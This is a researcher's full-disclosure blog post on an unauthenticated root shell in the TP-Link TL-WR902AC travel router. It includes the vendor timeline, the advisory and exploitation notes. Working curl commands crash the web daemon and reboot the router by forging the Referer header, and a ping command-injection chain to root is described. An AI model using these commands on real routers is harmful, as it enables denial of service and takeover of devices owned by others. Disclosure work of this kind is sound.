Unauthenticated root shell on TP-Link TL-WR902AC router
Apr 5, 2019
13 minute read

tl;dr

Full pwnage of the TP-Link TL-WR902AC (AC750 Wireless Travel Router), from various trivial vulnerabilities

Recommendation: If you own one of these routers, I recommend you unplug it as soon as possible. If you really need to use it, disable remote administration (or enforce IP check from the WAN) and enforce MAC address check from the LAN.

How it all started

To have a good start of holidays, I wanted to pwn an IoT device (some binary pwning if possible), so I started looking for something cheap (hoping it also meant the device would not have received much love), for which the firmware was available on the vendor’s site, and easily extractable with binwalk. At some point, I came across a wireless travel router by TP-Link, the TL-WR902AC. It fulfilled all the requirements (in particular, it costs less than 30€) and more…

The file /web/frame/login.htm contained some interesting JavaScript code like:

if (authTimes >= 10) { ... }

Some security checks done client side : not always a problem, but this sounds promising πŸ˜„ Well, except that it seemed no binary pwning would be needed.

A few days later, I got one of these routers, and fully pwned it.

Disclosure timeline

  • This fun (a.k.a. “work”) was done end of June/early July 2018.
  • I contacted TP-Link on the Jul 3, 2018 via the form at https://www.tp-link.com/us/security, but I did not even received an automatic acknowledgement email! The disclosure started well.
  • On Jul 24, 2018, I chatted with the technical support, but never managed to get anywhere. I also contacted the support via email (support.usa@tp-link.com). In both these attempts, I asked for a GPG public key to encrypt my advisory before sending it, but nobody had a clue what a GPG key is.
  • I received an answer to my email on Jul 25, 2018, that made no mention of a GPG key, but simply asked for details of the vulnerabilities. I gave the minimum amount of information, insisting on the fact that our communication channel was not encrypted.
  • I received an answer the next day, telling me that my case had been escalated to their seniors, and asking for more hardware and firmware versions. I also received an email from security@security.tp-link.com, asking if there was any vulnerability I wanted to report. I replied within 3 minutes, and in particular asked for a GPG public key (I know, I’m stubborn!)
  • On Jul 27, 2018, I received an answer that said (sic) “Can you send the details to us in the form of encryption file? Such as encrypted WORD , etc.“, to which I answered that this is technically not possible. I also declined responsibility for any possible leak resulting from having to send the non-encrypted advisory.
  • I resigned myself to the fact that I’d never get a GPG public key, and sent my report in the form of a zip file (with password), then the password in a second email (how secure!), on Jul 31, 2018. I did not get an acknowledgment in return.
  • On Sep 13, 2018, I wrote an email asking for some news, after 1.5 months of silence.
  • On Oct 23, 2018, I wrote again saying that they had more than the usual 90 days, and would disclose my findings. This made people at TP-Link react and answer me on Oct 26, 2018, saying (sic) “Dear Sir, Don’t worry. We will provide you with a beta firmware for verification later. Please test it and do give us a feedback.” Seems I am now a beta tester (and for free of course).
  • On Nov 1, 2018, I received the beta firmware. I replied the next day, but I was not motivated, so I did not look at it for a while and I let them stew.
  • On Nov 14, 2018, they wrote again to know if there was any news… Well, now they are motivated and give feedback! I replied the same day, giving them some details, and telling that in particular, I could still get admin credentials by dumping the config file, so they had not patched their firmware properly.
  • On Nov 19, 2018, I asked for news, since they did not acknowledge reception of my previous email.
  • On Nov 27, 2018, TP-Link people answer, asking for more details, and saying they are working on the new firmware.
  • On Dec 5, 2018 (after 2 courtesy emails), I write to give details, and in particular a curl command to dump the config file. The other vulnerabilities have not been fixed per se, but they implemented a session id cookie that prevents exploitation of vulnerability 5 and partly vulnerability 2 (see below). They also implemented some cryptography, but as I told them “cryptography does not prevent exploitation, since the server sends the public key to the client, which can then encrypt payloads”.
  • On Dec 20, 2018, having no news whatsoever, I ask for some.
  • On Dec 25, 2018, my favourite Christmas gift is here: an email from TP-Link, telling me
Sorry for the delay and we have just finished checking the latest materials you
just provided.

When it comes to the export action of the configuration files, the attacker
needs to login the web UI in advance or the attacker have to obtain the
Administrator credentials in advance.

Otherwise the configuration files cannot be exported successfully by a possible
attacker.

Although the current situation is like mentioned above, your feedback is very
helpful and we really put great emphasis on it, we will modify our mechanism
and key in order to strengthen the security level of our products.

Many thanks again for your valuable feedback !

to which I replied:

I don't understand why you disagree with my findings (especially the curl
command). But since you think your firmware is safe, I no longer have a reason
to hold back the publishing of my findings and will do it in the coming days.

Well, I lied, since I only published details months laters

  • April 5, 2019, I now have decided to go full disclosure. The current firmware still dates from Aug 28, 2017. This whole story seems to have happened already (with some variatiions ofc), see e.g. this advisory.

Advisory

As I’m again lazy, I will post the (slightly redacted) advisory I sent to TP-Link, and will make a few remarks and give exploits in the next Section. Among others, I hope you’ll enjoy the client side checks, the Referer based security, the ping injection and the hardcoded crypto key.

facepalm


############################################################################

Advisory: Unauthenticated root shell from various vulnerabilities

Product: TP-Link TL-WR902AC (AC750 Wireless Travel Router)

Hardware Version: V3

Firmware Version: TL-WR902AC(EU)_V3_170828 from
                  https://www.tp-link.com/fr/download/TL-WR902AC.html#Firmware
                  file: TL-WR902ACv3_EU_0.9.1_0.1_up_boot[170828-rel57433].bin

Author: DuSu

############################################################################

Note: This advisory's concern is the web admin interface of the TL-WR902AC
router, and how to bypass authentication and get high privilege (root) code
execution.

############################################################################

Vulnerability 1: checks are done client side, not server side

Many checks are performed client side. Such checks are moot, since the
client side is under the user/attacker control.
As an example, to prevent brute-forcing of the credentials, checks are
performed in the browser of the user, with javascript, see
`/web/frame/login.htm`, in which we can see:

	if (authTimes >= 10)
	{
	...

This check is not efficient, since one can access the login page from curl,
burp, or any other software that is not a browser, or from a browser with
disabled javascript. In these cases, the javascript code is not executed, so
the checks are not performed.

As another example, in `/web/main/pingNTraceRoute.htm`, a function
`is_domain(domain_string)` is used to check if, e.g., the IP address to ping
(for diagnostic purposes of the router) is not containing characters other
than
"-.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567889".
But such a check is again totally inefficient, since it only works if the
diagnostic interface is accessed from a browser with enabled javascript, but
will not prevent command injection (see final section: putting everything
together) and thus, code execution.

There are probably many other such checks, I did not try to study them all.

############################################################################

Vulnerability 2: failure of authentication check, based on Referer

Once the login is successful, one accesses the admin interface, from which
various tasks can be performed, via web requests. It turns out that these
requests are only checked to be legitimate thanks to the Referer field in
the HTTP headers, and not from the Authorization field (which is not even
needed).
But the Referer is under user/attacker's control, which means that one can
perform all administration tasks without being authenticated.
In particular, one can dump the configuration file of the router in which
credentials are stored (encrypted, but see Vulnerability 4). One can also
access the ping interface (see final section: putting everything together).
Etc.

############################################################################

Vulnerability 3: no privilege separation

All services run with a single user, namely root, so if there is remote code
execution, it occurs with highest privileges.

############################################################################

Vulnerability 4: Weak cryptography

The configuration files that can be dumped from or uploaded to the router
use a DES cryptography scheme, as well as some compression. However, the
key used for the encryption is hardcoded in the router's firmware, and the
(un)compression functions can be studied (or executed) from the firmware
directly. This means the encryption is not effective to prevent an attacker
from getting the administrator's credentials.

############################################################################

Vulnerability 5: DoS of the admin interface

If the Referer field does not start with 'http://', no server name or IP
address if found and the router's code performs a strcmp() with one
parameter being NULL. This results in a segmentation fault, and the httpd
daemon stops and is not automatically restarted, hence the DoS.

############################################################################

Putting everything together: 

From the above vulnerabilities 1-3, it is possible to get a root shell on
the router (thus total compromission), with default settings of the router,
even if the administrator changed the default "admin:admin" credentials to
anything else.

For this, it suffices to:
* access, without authentication (vulnerability 2), the diagnostic/ping
  interface of the router;
* perform command injection in the IP address to be ping'ed, since
  client side checks are ineffective (vulnerability 1);
* from the above two points, and given that an ftp server is running on the
  server, one can upload a binary to the router, and execute it as root
  (vulnerability 3).
  Remark: the upload requires a few tricks that are not detailed in this
  report.

I have checked in practice that all this works.

############################################################################

Mitigation until firmware rewrite:

The above attack is successful from any computer on the LAN, except if the
administrator has enforced a MAC address check of the computer allowed to
access the admin interface (but this is not the default setting). Note
though, that a MAC address can be spoofed.
It can also be successful from any computer on the WAN if the administrator
has allowed remote administration, but has not enforced IP check of the
computer allowed to access the admin interface.

So at present, the only mitigation is to disable remote administration (or
enforce IP check from the WAN) and enforce MAC address check from the LAN.

However, these measures will not prevent an administrator from launching a
root shell on the router. The only way for this is to rewrite the firmware
to get rid of vulnerabilities 1 and 2.

Notes

In all that follows, the router’s IP will be assumed to be 192.168.0.1.

  • The simplest way to trigger the DoS (crash of httpd, vuln 5) is:
curl -H "Referer: die_httpd_die" 192.168.0.1
  • A test of vuln 2 (Referer based security) is to reboot the router, without prior authentication:
python -c 'print "[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r"' \
| curl --data-binary @- -X POST -H "Referer: http://192.168.0.1" \
http://192.168.0.1/cgi?7
  • I have found the leak of configuration file and admin credentials before getting a root shell, so I wrote an exploit for this. I used angr to emulate and execute the decompression function. Emulation is required since the router has a MIPS architecture, which is not common for a PC. As this may be useful to other people, the exploit is here. The hardcoded DES key used for encryption can be found in this script.

Note: It turns out this exploit is not useless after all, since it’s the one that still worked on the beta firmware TP-Link sent me.

  • Details about “the upload requires a few tricks that are not detailed in this report”. Checking that the command injection in the ping/diagnostic interface works can be done by executing the reboot command. Then, a neat way to know if a command work is to make the router ping your ip, if the command was successful (thanks to linux’s &&). Finally, the key to successfully launch a root shell, is to use echo commands and overwrite the vsftpd.conf configuration file, in order to break the default chroot “jail” (due to the default line chroot_local_user=YES). This is possible because the /var directory is writable (vsftpd.conf is found under /var/vsftp/etc/). A PoC, working for a router with default configuration can be found here. Some may wonder why this script contains instructions like
cp /var/vsftp/etc/tmp /var/vsftp/etc/vsftpd.conf
rm /var/vsftp/etc/tmp

instead of a simple

mv /var/vsftp/etc/tmp /var/vsftp/etc/vsftpd.conf

The reason is that the busybox on the router does not come with a mv applet.

  • So let’s see what one infos one can get with the reverse shell πŸ˜„

First some hardware infos:

cat /proc/cpuinfo
system type		: MT7628
processor		: 0
cpu model		: MIPS 24Kc V5.5
BogoMIPS		: 386.04
wait instruction	: yes
microsecond timers	: yes
tlb_entries		: 32
extra interrupt vector	: yes
hardware watchpoint	: yes, count: 4, address/irw mask: [0x0ffc, 0x0ffc, 0x0ffb, 0x0ffb]
ASEs implemented	: mips16 dsp
shadow register sets	: 1
core			: 0
VCED exceptions		: not available
VCEI exceptions		: not available

There is no uname command so:

cat /proc/version
Linux version 2.6.36 (soho@soho) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #7 Mon Aug 28 15:55:59 HKT 2017

Without id or whoami command, we’ll confirm being root like this:

cat /proc/self/status
Name:	cat
State:	R (running)
Tgid:	1464
Pid:	1464
PPid:	1453
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	32
Groups:
VmPeak:	    1056 kB
VmSize:	    1052 kB
VmLck:	       0 kB
VmHWM:	     244 kB
VmRSS:	     244 kB
VmData:	     220 kB
VmStk:	     136 kB
VmExe:	     252 kB
VmLib:	     420 kB
VmPTE:	      12 kB
VmSwap:	       0 kB
Threads:	1
SigQ:	1/477
SigPnd:	00000000000000000000000000000000
ShdPnd:	00000000000000000000000000000000
SigBlk:	00000000000000000000000080000000
SigIgn:	00000000000000000000000000001006
SigCgt:	00000000000000000000000000000000
CapInh:	0000000000000000
CapPrm:	ffffffffffffffff
CapEff:	ffffffffffffffff
CapBnd:	ffffffffffffffff
Cpus_allowed:	1
Cpus_allowed_list:	0
voluntary_ctxt_switches:	0
nonvoluntary_ctxt_switches:	1

Finally, let’s check if ASLR is on:

cat /proc/sys/kernel/randomize_va_space 
1

cat /proc/self/maps
00400000-0043f000 r-xp 00000000 1f:02 566        /bin/busybox
0044f000-00450000 rw-p 0003f000 1f:02 566        /bin/busybox
00450000-00451000 rwxp 00000000 00:00 0          [heap]
2ac55000-2ac56000 rw-p 00000000 00:00 0 
2ac56000-2ac5c000 r-xp 00000000 1f:02 56         /lib/ld-uClibc-0.9.33.2.so
2ac6b000-2ac6c000 r--p 00005000 1f:02 56         /lib/ld-uClibc-0.9.33.2.so
2ac6c000-2ac6d000 rw-p 00006000 1f:02 56         /lib/ld-uClibc-0.9.33.2.so
2ac6d000-2ac70000 r-xp 00000000 1f:02 67         /lib/libcrypt-0.9.33.2.so
2ac70000-2ac7f000 ---p 00000000 00:00 0 
2ac7f000-2ac80000 rw-p 00002000 1f:02 67         /lib/libcrypt-0.9.33.2.so
2ac80000-2ac91000 rw-p 00000000 00:00 0 
2ac91000-2acf1000 r-xp 00000000 1f:02 62         /lib/libuClibc-0.9.33.2.so
2acf1000-2ad00000 ---p 00000000 00:00 0 
2ad00000-2ad01000 r--p 0005f000 1f:02 62         /lib/libuClibc-0.9.33.2.so
2ad01000-2ad02000 rw-p 00060000 1f:02 62         /lib/libuClibc-0.9.33.2.so
2ad02000-2ad07000 rw-p 00000000 00:00 0 
7fe5d000-7fe7e000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]

cat /proc/self/maps
00400000-0043f000 r-xp 00000000 1f:02 566        /bin/busybox
0044f000-00450000 rw-p 0003f000 1f:02 566        /bin/busybox
00450000-00451000 rwxp 00000000 00:00 0          [heap]
2b854000-2b85a000 r-xp 00000000 1f:02 56         /lib/ld-uClibc-0.9.33.2.so
2b85a000-2b85b000 rw-p 00000000 00:00 0 
2b869000-2b86a000 r--p 00005000 1f:02 56         /lib/ld-uClibc-0.9.33.2.so
2b86a000-2b86b000 rw-p 00006000 1f:02 56         /lib/ld-uClibc-0.9.33.2.so
2b86b000-2b86e000 r-xp 00000000 1f:02 67         /lib/libcrypt-0.9.33.2.so
2b86e000-2b87d000 ---p 00000000 00:00 0 
2b87d000-2b87e000 rw-p 00002000 1f:02 67         /lib/libcrypt-0.9.33.2.so
2b87e000-2b88f000 rw-p 00000000 00:00 0 
2b88f000-2b8ef000 r-xp 00000000 1f:02 62         /lib/libuClibc-0.9.33.2.so
2b8ef000-2b8fe000 ---p 00000000 00:00 0 
2b8fe000-2b8ff000 r--p 0005f000 1f:02 62         /lib/libuClibc-0.9.33.2.so
2b8ff000-2b900000 rw-p 00060000 1f:02 62         /lib/libuClibc-0.9.33.2.so
2b900000-2b905000 rw-p 00000000 00:00 0 
7ff6f000-7ff90000 rwxp 00000000 00:00 0          [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0          [vdso]

ASLR is indeed on, but the stack and heap are rwx πŸ˜‰